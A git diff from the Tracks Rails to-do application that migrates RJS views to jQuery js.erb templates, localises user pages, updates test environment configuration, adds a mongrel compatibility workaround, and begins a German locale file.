TracksPages.show_edit_errors(html_for_error_messages()); +<% else + + # jquery animations are async, so first collect all animation steps that need + # to be run sequential,then execute them. All steps are functions which are + # passed a function as parameter that will execute the next animation steps + + animation = [] + animation << "remove_todo" if update_needs_to_remove_todo_from_container + if replace_with_updated_todo + animation << "replace_todo" + elsif append_updated_todo + animation << (@new_context_created ? "insert_new_context_with_updated_todo" : "add_to_existing_container") + end + animation << "hide_context" if update_needs_to_hide_context + animation << "highlight_updated_todo" + animation << "update_empty_tag_container" if source_view_is(:tag) + animation << "update_predecessors" +%> + + <%= render_animation(animation) %> + TracksPages.page_notify('notice', '<%=@status_message%>', 5); + TracksPages.set_page_badge(<%= @down_count %>); +<% end %> + +function remove_todo(next_steps) { + $('#<%= dom_id(@todo) %>').fadeOut(400, function() { + $('#<%= dom_id(@todo) %>').remove(); + <%= show_empty_message_in_source_container -%> + next_steps.go(); + }); +} + +function add_to_existing_container(next_steps) { + $('#<%= item_container_id(@todo) %>').append(html_for_todo()); + <% if source_view_is_one_of(:project,:calendar) -%> + next_steps.go(); + <% if (@target_context_count==1) || ( (@todo.deferred? || @todo.pending?) && @remaining_deferred_or_pending_count == 1) -%> + $("#<%= empty_container_msg_div_id %>").slideUp(100); + <% end -%> + <% else -%> + <% unless (@todo_hidden_state_changed && @todo.hidden?) || @todo_was_deferred_from_active_state -%> + $('#c<%= @todo.context_id %>').fadeIn(500, function() { + next_steps.go(); + <% if @target_context_count==1 -%> + $("#<%= empty_container_msg_div_id %>").slideUp(100); + <% end -%> + }); + <% else -%> + next_steps.go(); + <% if (@target_context_count==1) || (@todo.deferred? && @remaining_deferred_or_pending_count == 1) || (@todo.hidden? && @remaining_hidden_count == 1) -%> + $("#<%= empty_container_msg_div_id %>").slideUp(100); + <% end -%> + <% end -%> + <% end -%> +} + +function replace_todo(next_steps) { + $('#<%= dom_id(@todo) %>').html(html_for_todo()); + next_steps.go(); +} + +function hide_context(next_steps) { + <% context_id = @context_changed ? @original_item_context_id : @todo.context_id -%> + $('#c<%= context_id %>').fadeOut(400, function(){ next_steps.go(); }); +} + +function highlight_updated_todo(next_steps) { + $('#<%= dom_id(@todo)%>').effect('highlight', {}, 2000, function(){ }); + next_steps.go(); +} + +function update_empty_tag_container(next_steps) { + <% if @down_count==0 -%> + $('#no_todos_in_tag_view').slideDown(400, function(){ next_steps.go(); }); + <% else -%> + $('#no_todos_in_tag_view').fadeOut(100, function(){ next_steps.go(); }); + <% end -%> +} + +function update_badge_count() { + <% + count = source_view_is(:context) ? @remaining_in_context : @down_count + count = @project_changed ? @remaining_undone_in_project : count + -%> + TracksPages.set_page_badge(<%= count %>); +} + +function insert_new_context_with_updated_todo(next_steps) { + $('#display_box').prepend(html_for_new_context()); + $('#c<%= @todo.context_id %>').fadeIn(500, function() { next_steps.go(); }); +} + +function html_for_todo() { + return "<%= @saved ? escape_javascript(render(:partial => @todo, :locals => { :parent_container_type => parent_container_type })) : "" %>"; +} + +function html_for_new_context() { + return "<%= @saved && @new_context_created ? escape_javascript(render(:partial => @new_context, :locals => { :collapsible => true })) : "" %>"; +} + +function html_for_error_messages() { + return "<%= escape_javascript(error_messages_for('todo')) %>"; +} + +function update_predecessors() { + <% @todo.uncompleted_predecessors.each do |p| -%> + if ($('#<%=item_container_id(p)%>')) { + $('#<%=dom_id(p)%>').html('<%=escape_javascript(render(:partial => p, :locals => { :parent_container_type => parent_container_type }))%>'); + } + <% end -%> + <% if @removed_predecessors + @removed_predecessors.each do |p| -%> + if ($('#<%=item_container_id(p)%>')) { + $('#<%=dom_id(p)%>').html('<%=escape_javascript(render(:partial => p, :locals => { :parent_container_type => parent_container_type }))%>'); + } + <% end -%> + <% end -%> +} \ No newline at end of file diff --git a/app/views/todos/update.js.rjs b/app/views/todos/update.js.rjs deleted file mode 100644 index 05eb9032..00000000 --- a/app/views/todos/update.js.rjs +++ /dev/null @@ -1,165 +0,0 @@ -if @saved - # show update message - status_message = 'Action saved' - status_message += ' to tickler' if @todo.deferred? - status_message = 'Added new project / ' + status_message if @new_project_created - status_message = 'Added new context / ' + status_message if @new_context_created - status_message = @message || status_message - page.notify :notice, status_message, 5.0 - - if source_view_is_one_of(:todo, :context, :tag) - if @context_changed || @todo.deferred? || @todo.pending? - page[@todo].remove - - if (@remaining_in_context == 0) - # remove context container from page if empty - if @context_changed - source_view do |from| - from.todo { page.visual_effect :fade, "c#{@original_item_context_id}", :duration => 0.4 } - from.tag { page.visual_effect :fade, "c#{@original_item_context_id}", :duration => 0.4 } - from.context { page.show "c#{@original_item_context_id}empty-nd" } - end - else - source_view do |from| - from.todo { page.visual_effect :fade, "c#{@todo.context.id}", :duration => 0.4 } - from.tag { page.visual_effect :fade, "c#{@todo.context.id}", :duration => 0.4 } - from.context { page.show "c#{@original_item_context_id}empty-nd" } - end - end - end - - if source_view_is_one_of(:todo, :tag) && @todo.active? - page.call "todoItems.ensureVisibleWithEffectAppear", "c#{@todo.context_id}" - page.call "todoItems.expandNextActionListingByContext", "c#{@todo.context_id}items", true - page[empty_container_msg_div_id].hide unless empty_container_msg_div_id.nil? - # show all todos in context - page.insert_html :bottom, "c#{@todo.context_id}items", :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - end - - if source_view_is(:tag) && @todo.deferred? - # show todo in deferred container - page.insert_html :bottom, "tickleritems", :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - page[empty_container_msg_div_id].hide unless empty_container_msg_div_id.nil? - end - - # update badge count - page.replace_html("badge_count", @remaining_in_context) if source_view_is :context - page.replace_html("badge_count", @down_count) if source_view_is :todo - - # show todo in context - page.delay(0.3) do - page.call "todoItems.ensureContainerHeight", "c#{@original_item_context_id}items" - if source_view_is_one_of(:todo, :tag) && @todo.active? - page.call "todoItems.ensureContainerHeight", "c#{@todo.context_id}items" - page.visual_effect :highlight, dom_id(@todo), :duration => 3 - end - if @context_changed - source_view do |from| - from.todo {page << "$('#c#{@todo.context_id} h2').effect('highlight', {}, 3000)" } - from.tag {page << "$('#c#{@todo.context_id} h2').effect('highlight')" } - end - end - end - else - if @original_item_was_deferred && source_view_is(:tag) - # we go from the deferred container to a context container in tag view - page[@todo].remove - page.call "todoItems.ensureVisibleWithEffectAppear", "c#{@todo.context_id}" - page.call "todoItems.expandNextActionListingByContext", "c#{@todo.context_id}items", true - page[empty_container_msg_div_id].hide unless empty_container_msg_div_id.nil? - # show all todos in context - page.insert_html :bottom, "c#{@todo.context_id}items", :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - page['tickler-empty-nd'].show if @deferred_tag_count == 0 - else - page.replace dom_id(@todo), :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - end - page.visual_effect :highlight, dom_id(@todo), :duration => 3 - end - elsif source_view_is :project - if @project_changed - page[@todo].remove - page.show("p#{@original_item_project_id}empty-nd") if (@remaining_undone_in_project == 0) - page.replace_html "badge_count", @remaining_undone_in_project - elsif @todo.deferred? - page[@todo].remove - page.show("p#{@original_item_project_id}empty-nd") if (@remaining_undone_in_project == 0) - page.insert_html :bottom, "tickler", :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - page['tickler-empty-nd'].hide - page.replace_html "badge_count", @down_count - elsif @todo_was_activated_from_deferred_state - page[@todo].remove - page['tickler-empty-nd'].show if (@deferred_count == 0) - page.insert_html :bottom, "p#{@todo.project_id}items", :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - page.visual_effect :highlight, dom_id(@todo), :duration => 3 - page["p#{@todo.project_id}empty-nd"].hide - page.replace_html "badge_count", @down_count - else - page.replace_html "p#{@todo.project_id}items", :partial => 'todos/todo', :collection => @todo.project.not_done_todos, - :locals => { :parent_container_type => parent_container_type } - page.replace "tickler", :partial => 'todos/deferred', :locals => { - :deferred => @todo.project.deferred_todos, - :collapsible => false, - :append_descriptor => "in this project", - :parent_container_type => 'project', - :pending => @todo.project.pending_todos } - page['tickler-empty-nd'].show if (@deferred_count == 0 and @pending_count == 0) - page.visual_effect :highlight, dom_id(@todo), :duration => 3 - end - elsif source_view_is :deferred - if !@todo.deferred? - page[@todo].remove - page.show(empty_container_msg_div_id) if (@down_count == 0) - page.replace_html "badge_count", @down_count - elsif @context_changed - page[@todo].remove - page.visual_effect(:fade, "c#{@original_item_context_id}", :duration => 0.4) if (@remaining_in_context == 0) - page.call "todoItems.ensureVisibleWithEffectAppear", "c#{@todo.context_id}" - page.call "todoItems.expandNextActionListingByContext", "c#{@todo.context_id}items", true - page[empty_container_msg_div_id].hide unless empty_container_msg_div_id.nil? - page.insert_html :bottom, "c#{@todo.context_id}items", :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - page.replace_html("badge_count", @down_count) - page.delay(0.5) do - page.call "todoItems.ensureContainerHeight", "c#{@original_item_context_id}items" - page.call "todoItems.ensureContainerHeight", "c#{@todo.context_id}items" - page.visual_effect :highlight, dom_id(@todo), :duration => 3 - end - else - page.replace dom_id(@todo), :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - page.visual_effect :highlight, dom_id(@todo), :duration => 3 - end - elsif source_view_is :stats - page.replace dom_id(@todo), :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - page.visual_effect :highlight, dom_id(@todo), :duration => 3 - elsif source_view_is :calendar - if @due_date_changed - page[@todo].remove - page.show "empty_"+@original_item_due_id if @old_due_empty - page.hide "empty_"+@new_due_id - page.insert_html :bottom, @new_due_id, :partial => 'todos/todo', :locals => {:todo => @todo} - page.visual_effect :highlight, dom_id(@todo), :duration => 3 - else - if @todo.due.nil? - # due date removed - page[@todo].remove - page.show "empty_"+@original_item_due_id if @old_due_empty - else - page.replace dom_id(@todo), :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - page.visual_effect :highlight, dom_id(@todo), :duration => 3 - end - end - else - logger.error "unexpected source_view '#{params[:_source_view]}'" - end - # Update predecessors (if they exist and are visible) - @todo.uncompleted_predecessors.each do |p| - page << "if ($(\'#{item_container_id(p)}\')) {" - page[p].replace_html :partial => 'todos/todo', - :locals => { :todo => p, :parent_container_type => parent_container_type } - page << "}" - end -else - page.show 'error_status' - page.replace_html 'error_status', "#{error_messages_for('todo')}" -end - -page << "enable_rich_interaction();" diff --git a/app/views/users/change_auth_type.html.erb b/app/views/users/change_auth_type.html.erb index 8c596fd1..e822bfe8 100644 --- a/app/views/users/change_auth_type.html.erb +++ b/app/views/users/change_auth_type.html.erb @@ -1,17 +1,17 @@
    -

    Change authentication type

    +

    <%= t('users.change_authentication_type') %>

    <%= error_messages_for 'user' %> -

    Select your new authentication type and click 'Change Authentication Type' to replace your current settings.

    +

    <%= t('users.select_authentication_type') %>

    <% form_tag :action => 'update_auth_type' do %> -
    <%= select('user', 'auth_type', Tracks::Config.auth_schemes.collect {|p| [ p, p ] }) %>
    -
    -
    <%= submit_tag 'Change Authentication Type' %> <%= link_to 'Cancel', preferences_path %>
    +
    <%= select('user', 'auth_type', Tracks::Config.auth_schemes.collect {|p| [ p, p ] }) %>
    +
    +
    <%= submit_tag t('users.auth_change_submit') %> <%= link_to t('common.cancel'), preferences_path %>
    - <%= observe_field( :user_auth_type, :function => "$('open_id').style.display = value == 'open_id' ? 'block' : 'none'") %> + <%= observe_field( :user_auth_type, :function => "$('#open_id')[0].style.display = value == 'open_id' ? 'block' : 'none'") %> <% end %> diff --git a/app/views/users/change_password.html.erb b/app/views/users/change_password.html.erb index bd092291..e16183e4 100644 --- a/app/views/users/change_password.html.erb +++ b/app/views/users/change_password.html.erb @@ -4,21 +4,21 @@ <%= error_messages_for 'user' %> -

    Enter your new password in the fields below and click 'Change Password' to replace your current password with your new one.

    +

    <%= t('users.change_password_prompt') %>

    <% form_tag :action => 'update_password' do %> - + - + - - + +
    <%= password_field "updateuser", "password", :size => 40 %>
    <%= password_field "updateuser", "password_confirmation", :size => 40 %>
    <%= link_to 'Cancel', preferences_path %><%= submit_tag 'Change password' %><%= link_to t('common.cancel'), preferences_path %><%= submit_tag t('users.change_password_submit') %>
    <% end %> diff --git a/app/views/users/destroy.js.erb b/app/views/users/destroy.js.erb new file mode 100644 index 00000000..1f97f075 --- /dev/null +++ b/app/views/users/destroy.js.erb @@ -0,0 +1,11 @@ +<% if @saved -%> + remove_user_from_page(); + TracksPages.set_page_badge(<%= @total_users %>); + TracksPages.page_notify('notice', '<%= t('users.destroy_successful', :login => @deleted_user.login) %>', 5); +<% else -%> + TracksPages.page_notify('error', '<%= t('users.destroy_error', :login => @deleted_user.login) %>', 8); +<% end -%> + +function remove_user_from_page() { + $("#user-<%= @deleted_user.id%>").remove(); +} diff --git a/app/views/users/destroy.js.rjs b/app/views/users/destroy.js.rjs deleted file mode 100644 index a3dd1121..00000000 --- a/app/views/users/destroy.js.rjs +++ /dev/null @@ -1,7 +0,0 @@ -if @saved - page["user-#{@deleted_user.id}"].remove - page['user_count'].replace_html @total_users.to_s - page.notify :notice, "User #{@deleted_user.login} was successfully destroyed", 2.0 -else - page.notify :error, "There was an error deleting the user #{@deleted_user.login}", 8.0 -end \ No newline at end of file diff --git a/app/views/users/index.html.erb b/app/views/users/index.html.erb index 5905aa4f..17f116df 100644 --- a/app/views/users/index.html.erb +++ b/app/views/users/index.html.erb @@ -1,34 +1,30 @@ -

    Manage users

    +

    <%= t('users.manage_users') %>

    -

    You have a total of <%= @total_users %> users

    +

    <%= t('users.total_users_count', :count => "#{@total_users}") %>

    - - - - - - - - + + + + + + + + <% for user in @users %> id="user-<%= user.id %>"> - + - + <% end %>
    LoginFull nameAuthorization typeOpen ID URLTotal actionsTotal contextsTotal projectsTotal notes<%= User.human_attribute_name('login') %><%= User.human_attribute_name('display_name') %><%= User.human_attribute_name('auth_type') %><%= User.human_attribute_name('open_id_url') %><%= t('users.total_actions') %><%= t('users.total_contexts') %><%= t('users.total_projects') %><%= t('users.total_notes') %>  
    <%=h user.login %><%=h user.last_name? ? user.display_name : '-' %><%=h user.display_name %> <%= h user.auth_type %> <%= h user.open_id_url || '-' %> <%= h user.todos.size %> <%= h user.contexts.size %> <%= h user.projects.size %> <%= h user.notes.size %><%= !user.is_admin? ? link_to_remote( - image_tag("blank.png", :title =>"Destroy user", :class=>"delete_item"), - { :url => user_path(user.id), :method => :delete, - :confirm => "Warning: this will delete user \'#{user.login}\', all their actions, contexts, project and notes. Are you sure that you want to continue?" }, - { :class => "icon" } ) : " " %><%= !user.is_admin? ? remote_delete_user(user) : " " %>
    @@ -36,4 +32,4 @@ <%= will_paginate @users %>

    -

    <%= link_to 'Signup new user', signup_path %>

    \ No newline at end of file +

    <%= link_to t('users.signup_new_user'), signup_path %>

    \ No newline at end of file diff --git a/app/views/users/new.html.erb b/app/views/users/new.html.erb index 08bfa3f4..a89ee5d0 100644 --- a/app/views/users/new.html.erb +++ b/app/views/users/new.html.erb @@ -1,4 +1,4 @@ -
    +
    <% form_tag :action=> "create" do %> <%= error_messages_for 'user' %>
    @@ -9,36 +9,41 @@ <%if Tracks::Config.auth_schemes.include?('cas') && session[:cas_user]%> - - - - - + + + + + <%else%> - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + <%= observe_field( :user_auth_type, :function => "$('#open_id')[0].style.display = value == 'open_id' ? 'table-row' : 'none'") %> <%end%> - +
    "<%= session[:cas_user]%>" - <%= hidden_field "user", "login", :value => session[:cas_user] %> - <%= hidden_field "user", "password", :value => session[:cas_user] %> - <%= hidden_field "user", "password_confirmation", :value => session[:cas_user] %> - <%= hidden_field"user", "auth_type", :value => "cas" %>
    "<%= session[:cas_user]%>" + <%= hidden_field "user", "login", :value => session[:cas_user] %> + <%= hidden_field "user", "password", :value => session[:cas_user] %> + <%= hidden_field "user", "password_confirmation", :value => session[:cas_user] %> + <%= hidden_field"user", "auth_type", :value => "cas" %>
    <%= text_field "user", "login", :size => 20 %>
    <%= password_field "user", "password", :size => 20 %>
    <%= password_field "user", "password_confirmation", :size => 20 %>
    <%= select("user", "auth_type", @auth_types, { :include_blank => false })%>
    <%= text_field "user", "login", :size => 20 %>
    <%= password_field "user", "password", :size => 20 %>
    <%= password_field "user", "password_confirmation", :size => 20 %>
    <%= text_field "user", "open_id_url", :class => "open_id" %>
    <%= select("user", "auth_type", @auth_types, { :include_blank => false })%>
    diff --git a/app/views/users/nosignup.de.html.erb b/app/views/users/nosignup.de.html.erb new file mode 100644 index 00000000..4059d017 --- /dev/null +++ b/app/views/users/nosignup.de.html.erb @@ -0,0 +1,5 @@ +
    +

    Benutzerregistrierung deaktiviert

    +

    Dieser Server erlaubt keine freie Benutzerregistrierung.

    +

    Bitte wenden Sie sich <%= mail_to "#{@admin_email}", "via E-mail", :encode => "hex" %> an den Administrator, um ein Konto zu erhalten.

    +
    diff --git a/app/views/users/nosignup.html.erb b/app/views/users/nosignup.en.html.erb similarity index 100% rename from app/views/users/nosignup.html.erb rename to app/views/users/nosignup.en.html.erb diff --git a/config/boot.rb b/config/boot.rb index dd5e3b69..6686664c 100644 --- a/config/boot.rb +++ b/config/boot.rb @@ -62,8 +62,12 @@ module Rails gem 'rails' end rescue Gem::LoadError => load_error - $stderr.puts %(Missing the Rails #{version} gem. Please `gem install -v=#{version} rails`, update your RAILS_GEM_VERSION setting in config/environment.rb for the Rails version you do have installed, or comment out RAILS_GEM_VERSION to use the latest version installed.) - exit 1 + if load_error.message =~ /Could not find RubyGem rails/ + STDERR.puts %(Missing the Rails #{version} gem. Please `gem install -v=#{version} rails`, update your RAILS_GEM_VERSION setting in config/environment.rb for the Rails version you do have installed, or comment out RAILS_GEM_VERSION to use the latest version installed.) + exit 1 + else + raise + end end class << self diff --git a/config/cucumber.yml b/config/cucumber.yml index 97f4fd48..038cbe30 100644 --- a/config/cucumber.yml +++ b/config/cucumber.yml @@ -5,5 +5,6 @@ std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} --strict --tags ~@w %> default: <%= std_opts %> features --tags ~@selenium selenium: <%= std_opts %> features --tags @selenium -wip: --tags @wip:3 --wip features +selenium_wip: features --wip --tags @wip:10 --tags @selenium +wip: --wip --tags @wip:10 --tags ~@selenium features rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip diff --git a/config/database.yml.tmpl b/config/database.yml.tmpl index 00d192cd..13c78dc6 100644 --- a/config/database.yml.tmpl +++ b/config/database.yml.tmpl @@ -1,6 +1,9 @@ development: adapter: mysql database: tracks + # set this if you are storing utf8 in your mysql database to handle strings + # like "Réné".Not needed for sqlite. For PostgreSQL use encoding: unicode + # encoding: utf8 host: localhost username: root password: @@ -12,6 +15,9 @@ test: &TEST production: adapter: mysql database: tracks + # set this if you are storing utf8 in your mysql database to handle strings + # like "Réné".Not needed for sqlite. For PostgreSQL use encoding: unicode + # encoding: utf8 host: localhost username: root password: diff --git a/config/environment.rb b/config/environment.rb index 590161f4..69d77007 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -14,16 +14,21 @@ class Rails::Configuration attr_accessor :action_web_service end +Encoding.default_external = Encoding::UTF_8 if RUBY_VERSION > "1.9" + Rails::Initializer.run do |config| # Skip frameworks you're not going to use # config.frameworks -= [ :action_web_service, :action_mailer ] - config.load_paths += %W( #{RAILS_ROOT}/app/apis ) + config.autoload_paths += %W( #{RAILS_ROOT}/app/apis ) config.gem "highline" config.gem "RedCloth" config.gem "soap4r", :lib => false config.gem 'datanoise-actionwebservice', :lib => 'actionwebservice' config.gem 'sanitize' + config.gem 'rack', :version => '1.1.0' + config.gem 'will_paginate', :version => '~> 2.3.15' + config.gem 'has_many_polymorphs' config.action_controller.use_accept_header = true @@ -61,6 +66,10 @@ Rails::Initializer.run do |config| # to enable "link":onenote://... or "link":blah://... hyperlinks config.action_view.sanitized_allowed_protocols = 'onenote', 'message' + # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. + # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] + # config.i18n.default_locale = :de + # See Rails::Configuration for more options if ( SITE_CONFIG['authentication_schemes'].include? 'cas') #requires rubycas-client gem to be installed diff --git a/config/environments/cucumber.rb b/config/environments/cucumber.rb index b1104b29..a7392a85 100644 --- a/config/environments/cucumber.rb +++ b/config/environments/cucumber.rb @@ -21,9 +21,13 @@ config.action_controller.allow_forgery_protection = false # ActionMailer::Base.deliveries array. config.action_mailer.delivery_method = :test -config.gem 'cucumber-rails', :lib => false, :version => '>=0.3.2' unless File.directory?(File.join(Rails.root, 'vendor/plugins/cucumber-rails')) -config.gem 'database_cleaner', :lib => false, :version => '>=0.5.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/database_cleaner')) -config.gem 'webrat', :lib => false, :version => '>=0.7.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/webrat')) -config.gem 'rspec', :lib => false, :version => '>=1.3.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/rspec')) -config.gem 'rspec-rails', :lib => false, :version => '>=1.3.2' unless File.directory?(File.join(Rails.root, 'vendor/plugins/rspec-rails')) +# Unique cookies +# Unique cookies and use cookies for session +config.action_controller.session_store = :cookie_store +config.action_controller.session = { :key => 'TracksCucumber', :secret => SITE_CONFIG['salt'] * (30.0 / SITE_CONFIG['salt'].length).ceil } +config.gem 'cucumber', :lib => false, :version => '<0.10.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/cucumber')) +config.gem 'cucumber-rails', :lib => false, :version => '>=0.3.2' unless File.directory?(File.join(Rails.root, 'vendor/plugins/cucumber-rails')) +config.gem 'gherkin', :lib => false, :version => '2.2.9' unless File.directory?(File.join(Rails.root, 'vendor/plugins/gherkin')) +config.gem 'database_cleaner', :lib => false, :version => '>=0.5.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/database_cleaner')) +config.gem 'webrat', :lib => false, :version => '>=0.7.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/webrat')) \ No newline at end of file diff --git a/config/environments/production.rb b/config/environments/production.rb index f2b9ed68..56470f47 100644 --- a/config/environments/production.rb +++ b/config/environments/production.rb @@ -14,4 +14,4 @@ config.action_controller.perform_caching = true # config.action_controller.asset_host = "http://assets.example.com" # Disable delivery errors if you bad email addresses should just be ignored -# config.action_mailer.raise_delivery_errors = false +# config.action_mailer.raise_delivery_errors = false \ No newline at end of file diff --git a/config/environments/selenium.rb b/config/environments/selenium.rb index 004b1ee6..10eb9aa0 100644 --- a/config/environments/selenium.rb +++ b/config/environments/selenium.rb @@ -24,8 +24,6 @@ config.action_mailer.delivery_method = :test # Unique cookies config.action_controller.session = { :key => 'TracksSelenium' } -config.gem 'cucumber-rails', :lib => false, :version => '>=0.3.2' unless File.directory?(File.join(Rails.root, 'vendor/plugins/cucumber-rails')) config.gem 'database_cleaner', :lib => false, :version => '>=0.5.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/database_cleaner')) -config.gem 'webrat', :lib => false, :version => '>=0.7.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/webrat')) -config.gem 'rspec', :lib => false, :version => '>=1.3.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/rspec')) -config.gem 'rspec-rails', :lib => false, :version => '>=1.3.2' unless File.directory?(File.join(Rails.root, 'vendor/plugins/rspec-rails')) \ No newline at end of file +config.gem 'selenium-client', :lib => false unless File.directory?(File.join(Rails.root, 'vendor/plugins/selenium-client')) +config.gem 'mongrel' # required by webrat for selenium \ No newline at end of file diff --git a/config/environments/test.rb b/config/environments/test.rb index 8555cc9b..c9695e9f 100644 --- a/config/environments/test.rb +++ b/config/environments/test.rb @@ -19,8 +19,9 @@ config.action_mailer.delivery_method = :test # Disable request forgery protection in test environment config.action_controller.allow_forgery_protection = false -# Unique cookies -config.action_controller.session = { :key => 'TracksTest' } +# Unique cookies and use cookies for session +config.action_controller.session_store = :cookie_store +config.action_controller.session = { :key => 'TracksTest', :secret => SITE_CONFIG['salt'] * (30.0 / SITE_CONFIG['salt'].length).ceil } # Overwrite the default settings for fixtures in tests. See Fixtures # for more details about these settings. @@ -40,6 +41,5 @@ config.gem "ZenTest", :lib => "zentest", :version => ">=4.0.0" config.gem "hpricot" config.gem "hoe" config.gem 'webrat', :lib => false, :version => '>=0.7.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/webrat')) -config.gem 'rspec', :lib => false, :version => '>=1.3.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/rspec')) -config.gem 'rspec-rails', :lib => false, :version => '>=1.3.2' unless File.directory?(File.join(Rails.root, 'vendor/plugins/rspec-rails')) +config.gem 'rspec-rails', :lib => false, :version => '<2.1.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/rspec-rails')) config.gem "thoughtbot-factory_girl", :lib => "factory_girl", :source => "http://gems.github.com" diff --git a/config/initializers/mongrel_workaround.rb b/config/initializers/mongrel_workaround.rb new file mode 100644 index 00000000..fcf11e71 --- /dev/null +++ b/config/initializers/mongrel_workaround.rb @@ -0,0 +1,92 @@ +# adapted from https://gist.github.com/471663 and https://rails.lighthouseapp.com/projects/8994/tickets/4690-mongrel-doesnt-work-with-rails-238 + +if Rails.version == '2.3.11' && Gem.available?('mongrel', '~>1.1.5') && self.class.const_defined?(:Mongrel) + + # Pulled right from latest rack. Old looked like this in 1.1.0 version. + # + # def [](k) + # super(@names[k] ||= @names[k.downcase]) + # end + # + module Rack + module Utils + class HeaderHash < Hash + def [](k) + super(@names[k]) if @names[k] + super(@names[k.downcase]) + end + end + end + end + + # Code pulled from the ticket above. + # + class Mongrel::CGIWrapper + def header_with_rails_fix(options = 'text/html') + @head['cookie'] = options.delete('cookie').flatten.map { |v| v.sub(/^\n/,'') } if options.class != String and options['cookie'] + header_without_rails_fix(options) + end + alias_method_chain :header, :rails_fix + end + + # Pulled right from 2.3.10 ActionPack. Simple diff was + # + # if headers.include?('Set-Cookie') + # headers['cookie'] = headers.delete('Set-Cookie').split("\n") + # end + # + # to + # + # if headers['Set-Cookie'] + # headers['cookie'] = headers.delete('Set-Cookie').split("\n") + # end + # + module ActionController + class CGIHandler + def self.dispatch_cgi(app, cgi, out = $stdout) + env = cgi.__send__(:env_table) + env.delete "HTTP_CONTENT_LENGTH" + + cgi.stdinput.extend ProperStream + + env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/" + + env.update({ + "rack.version" => [0,1], + "rack.input" => cgi.stdinput, + "rack.errors" => $stderr, + "rack.multithread" => false, + "rack.multiprocess" => true, + "rack.run_once" => false, + "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http" + }) + + env["QUERY_STRING"] ||= "" + env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"] + env["REQUEST_PATH"] ||= "/" + env.delete "PATH_INFO" if env["PATH_INFO"] == "" + + status, headers, body = app.call(env) + begin + out.binmode if out.respond_to?(:binmode) + out.sync = false if out.respond_to?(:sync=) + + headers['Status'] = status.to_s + + if headers['Set-Cookie'] + headers['cookie'] = headers.delete('Set-Cookie').split("\n") + end + + out.write(cgi.header(headers)) + + body.each { |part| + out.write part + out.flush if out.respond_to?(:flush) + } + ensure + body.close if body.respond_to?(:close) + end + end + end + end +end \ No newline at end of file diff --git a/config/locales/de.yml b/config/locales/de.yml new file mode 100644 index 00000000..deddbc10 --- /dev/null +++ b/config/locales/de.yml @@ -0,0 +1,797 @@ +--- +de: + common: + actions: Aktionen + back: "Zur\xC3\xBCck" + logout: Abmelden + go_back: "Zur\xC3\xBCck" + none: Keine + cancel: Abbrechen + optional: optional + notes: Notizen + server_error: Auf dem Server ist ein Fehler aufgetreten. + projects: Projekte + action: Aktion + project: Projekt + ok: Ok + numbered_step: Schritt %{number} + context: Kontext + sort: + by_task_count_title: Nach Anzahl der Aufgaben sortieren + by_task_count_title_confirm: Sollen diese Projekte wirklich nach Anzahl der Aufgaben sortiert werden? Die bisherige Sortier-Reihenfolge wird damit überschrieben. + alphabetically: Alphabetisch + sort: Sortieren + alphabetically_title: Projekte alphabetisch sortieren + alphabetically_confirm: Sollen diese Projekte wirklich alphabetisch sortiert werden? Die bisherige Sortier-Reihenfolge wird damit überschrieben. + by_task_count: Nach Anzahl der Aufgaben + create: Erstellen + description: Beschreibung + errors_with_fields: "Mit folgenden Feldern sind Probleme aufgetreten:" + contexts: Kontexte + drag_handle: Verschieben + update: Aktualisieren + ajaxError: Fehler beim Empfangen vom Server + search: Suchen + number: + format: + separator: "," + precision: 2 + delimiter: . + human: + format: + precision: 1 + delimiter: "" + storage_units: + format: "%n %u" + units: + kb: KB + tb: TB + gb: GB + byte: + one: Byte + other: Bytes + mb: MB + percentage: + format: + delimiter: "" + precision: + format: + delimiter: "" + currency: + format: + format: "%n%u" + unit: !binary | + 4oKs + + separator: + precision: + delimiter: + integrations: + opensearch_description: In Tracks suchen + gmail_description: "Gadget, um Tracks als Gadget zu Googlemail hinzuzuf\xC3\xBCgen" + applescript_next_action_prompt: "Beschreibung der n\xC3\xA4chsten Aufgabe:" + applescript_success_before_id: "N\xC3\xA4chste neue Aufgabe mit ID" + applescript_success_after_id: erstellt + layouts: + toggle_notes: Notizen umschalten + next_actions_rss_feed: RSS-Feed kommende Aufgaben + toggle_notes_title: Alle Notizen umschalten + mobile_navigation: + logout: Abmelden + feeds: Feeds + new_action: 0-Neue Aufgabe + starred: 4-Markiert + projects: 3-Projekte + tickler: Notizbuch + contexts: 2-Kontexte + home: 1-Home + navigation: + manage_users_title: "Benutzer hinzuf\xC3\xBCgen oder entfernen" + recurring_todos: Sich wiederholende To-Dos + api_docs: REST API Docs + feeds: Feeds + stats: Statistiken + starred: Markiert + notes_title: 